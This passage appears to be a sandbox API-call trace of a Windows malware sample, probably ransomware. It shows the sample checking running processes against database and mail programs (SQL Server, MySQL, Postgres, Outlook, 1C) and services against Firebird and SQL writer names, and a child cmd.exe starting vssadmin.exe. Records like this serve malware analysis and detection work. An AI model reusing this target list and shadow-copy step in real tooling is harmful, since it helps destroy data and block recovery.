lpString2="WPDBusEnum") returned -1 [0044.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0044.897] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x60eb98 | out: hHeap=0x510000) returned 1 [0044.897] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c [0044.899] Process32FirstW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0044.900] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0044.900] lstrlenW (lpString="System") returned 6 [0044.900] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0044.900] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0044.900] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0044.900] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0044.900] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0044.900] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0044.901] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0044.901] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0044.901] lstrlenW (lpString="smss.exe") returned 8 [0044.901] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0044.901] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0044.901] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0044.901] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0044.901] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0044.901] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0044.901] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0044.901] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.901] lstrlenW (lpString="csrss.exe") returned 9 [0044.901] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0044.901] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0044.901] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0044.901] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0044.901] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0044.901] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0044.901] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0044.902] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0044.902] lstrlenW (lpString="wininit.exe") returned 11 [0044.902] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0044.902] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0044.902] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0044.902] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0044.902] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0044.902] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0044.902] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0044.902] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.902] lstrlenW (lpString="csrss.exe") returned 9 [0044.902] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0044.903] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0044.903] lstrlenW (lpString="winlogon.exe") returned 12 [0044.903] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0044.903] lstrlenW (lpString="services.exe") returned 12 [0044.903] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0044.903] lstrlenW (lpString="lsass.exe") returned 9 [0044.903] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0044.904] lstrlenW (lpString="lsm.exe") returned 7 [0044.904] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.904] lstrlenW (lpString="svchost.exe") returned 11 [0044.904] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.904] lstrlenW (lpString="svchost.exe") returned 11 [0044.905] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.905] lstrlenW (lpString="svchost.exe") returned 11 [0044.905] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.905] lstrlenW (lpString="svchost.exe") returned 11 [0044.905] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.905] lstrlenW (lpString="svchost.exe") returned 11 [0044.905] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0044.906] lstrlenW (lpString="audiodg.exe") returned 11 [0044.906] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.906] lstrlenW (lpString="svchost.exe") returned 11 [0044.906] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.906] lstrlenW (lpString="svchost.exe") returned 11 [0044.906] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0044.906] lstrlenW (lpString="dwm.exe") returned 7 [0044.907] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0044.907] lstrlenW (lpString="explorer.exe") returned 12 [0044.907] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0044.907] lstrlenW (lpString="spoolsv.exe") returned 11 [0044.907] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.907] lstrlenW (lpString="taskhost.exe") returned 12 [0044.907] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.908] lstrlenW (lpString="svchost.exe") returned 11 [0044.908] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0044.908] lstrlenW (lpString="taskeng.exe") returned 11 [0044.908] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.908] lstrlenW (lpString="taskhost.exe") returned 12 [0044.908] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0044.908] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0044.908] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0044.909] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0044.909] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0044.909] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0044.909] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0044.909] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0044.909] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0044.910] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0044.910] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0044.910] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0044.910] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0044.910] lstrlenW (lpString="toyota.exe") returned 10 [0044.910] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0044.910] lstrlenW (lpString="radiation.exe") returned 13 [0044.910] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0044.911] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0044.911] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0044.911] lstrlenW (lpString="ur illustration.exe") returned 19 [0044.911] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0044.911] lstrlenW (lpString="facing.exe") returned 10 [0044.911] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0044.912] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0044.912] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0044.912] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0044.912] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0044.912] lstrlenW (lpString="headline.exe") returned 12 [0044.912] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0044.912] lstrlenW (lpString="army_unsigned.exe") returned 17 [0044.912] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0044.913] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0044.913] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0044.913] lstrlenW (lpString="distribution-gif.exe") returned 20 [0044.913] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0044.913] lstrlenW (lpString="tribunal.exe") returned 12 [0044.913] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0044.914] lstrlenW (lpString="aafeof.exe") returned 10 [0044.914] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0044.914] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0044.914] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0044.914] lstrlenW (lpString="encryption.exe") returned 14 [0044.914] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0044.914] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0044.914] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0044.915] lstrlenW (lpString="dllhost.exe") returned 11 [0044.915] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0044.915] lstrlenW (lpString="dllhost.exe") returned 11 [0044.915] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0044.915] lstrlenW (lpString="1с_.exe") returned 7 [0044.915] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0044.916] lstrlenW (lpString="cmd.exe") returned 7 [0044.916] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0044.916] lstrlenW (lpString="conhost.exe") returned 11 [0044.916] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0044.916] lstrlenW (lpString="vssadmin.exe") returned 12 [0044.916] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0044.916] lstrlenW (lpString="VSSVC.exe") returned 9 [0044.916] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0044.917] CloseHandle (hObject=0x19c) returned 1 [0044.917] Sleep (dwMilliseconds=0x1f4) [0045.773] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58fd80 [0045.773] EnumServicesStatusExW (in: hSCManager=0x58fd80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0045.774] GetLastError () returned 0xea [0045.774] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x123e) returned 0x60eb98 [0045.774] EnumServicesStatusExW (in: hSCManager=0x58fd80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60eb98, cbBufSize=0x123e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60eb98, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0045.775] CloseServiceHandle (hSCObject=0x58fd80) returned 1 [0045.775] lstrlenW (lpString="Appinfo") returned 7 [0045.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0045.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0045.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0045.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0045.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0045.775] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0045.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.775] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0045.775] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0045.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0045.775] lstrlenW (lpString="AudioSrv") returned 8 [0045.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0045.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0045.776] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0045.776] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0045.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0045.776] lstrlenW (lpString="BFE") returned 3 [0045.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0045.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0045.776] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0045.776] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0045.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0045.776] lstrlenW (lpString="CryptSvc") returned 8 [0045.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0045.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0045.776] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0045.776] lstrcmpiW (lpString1="mssqlserver", 